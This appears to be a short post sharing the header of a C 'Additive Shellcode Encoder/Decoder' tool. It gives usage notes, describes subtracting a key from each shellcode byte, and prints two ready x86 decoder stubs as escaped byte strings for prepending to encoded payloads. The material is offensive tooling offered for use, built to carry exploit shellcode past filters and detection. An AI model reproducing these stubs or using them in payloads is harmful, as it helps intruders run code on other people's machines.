The process is fairly straight forward, simply follow the below instructions. 
Any questions direct them to: bmgsec [at] gmail.com

bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au). 

/*
* --------------------------------------------------------------------------
*  Additive Shellcode Encoder/Decoder
* 
*  Usage    : encoder.exe <filename> <key>
*  Arguments: filename - Shellcode file
*           : key      - Value to subtract from each byte (optional)
*                        Default is 2.
* 
*  Author   : bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
* --------------------------------------------------------------------------
*
* Input filename takes a file of hex bytes, ie: 41424344
* Key is the value to subtract from each byte (see decoder.asm)
* The default is to minus two from each byte. 
*
* First null in decoders equal length of shellcode, final null 
* equals key. The decoder using CL register is used when shellcode
* size is less than 255 bytes. If greater than 255 bytes CX is used. 
* 
* Decoder (CL register - 20 bytes)
* "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x06\x00\x46\xe2\xfa\xeb\x05\xe8"
* "\xee\xff\xff\xff"
*
* Decoder (CX register - 22 bytes)
* "\xeb\x0f\x5e\x31\xc9\x66\xb9\x00\x00\x80\x06\x00\x46\xe2\xfa\xeb"
* "\x05\xe8\xec\xff\xff\xff"
*/